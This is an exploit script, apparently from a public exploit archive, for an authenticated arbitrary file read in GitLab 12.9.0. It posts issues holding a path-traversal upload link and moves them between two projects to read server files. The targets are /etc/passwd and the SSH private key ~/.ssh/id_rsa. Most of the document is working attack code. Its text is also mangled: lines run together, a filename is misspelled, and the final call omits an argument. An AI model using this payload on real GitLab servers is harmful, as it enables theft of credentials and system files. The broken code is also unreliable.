# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)# Google Dork: -# Date: 11/15/2020# Exploit Author: Jasper Rasenberg# Vendor Homepage: https://about.gitlab.com# Software Link: https://about.gitlab.com/install# Version: tested on gitlab version 12.9.0# Tested on: Kali Linux 2020.3#You can create as many personal access tokens as you like from your GitLab profile.# Sign in to GitLab.#In the upper-right corner, click your avatar and select Settings.#On the User Settings menu, select Access Tokens.#Choose a name and optional expiry date for the token.#Choose the desired scopes.#Click the Create personal access token button.#Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.# REFERENCE: https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html# pip3 install gitlab# pip3 install requests# Use a client cert to verify SSL or set to False
import os
import requests
import json
from time import sleep
from gitlab import *
session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>'# or set session.verify = False
host =''defexploit(projectName, issueTitle, files, token):
gl = Gitlab(host, private_token=token, session=session)
gl.auth()
p1 = gl.projects.create({'name': f"{projectName}-1"})
p2 = gl.projects.create({'name': f"{projectName}-2"})for i, f in enumerate(files):
stripped_f = f.rstrip('\n')
issue = p1.issues.create({ \
'title': f"{issueTitle}-{i}",'description': \
"![a](/uploads/11111111111111111111111111111111/"\
f"../../../../../../../../../../../../../..{stripped_f})"})
print(issue.description)
sleep(3)try:
issue.move(p2.id)
except Exception as e:
pass
sleep(3)if __name__ =="__main__":
write_files =['/etc/passwd','~/.ssh/id_rsa']
with open('senstive_files','w') as sens:for file in write_files:
sens.write(file)
files = list(open('sensitive_files','r'))
exploit('project-1','issue-1', files)
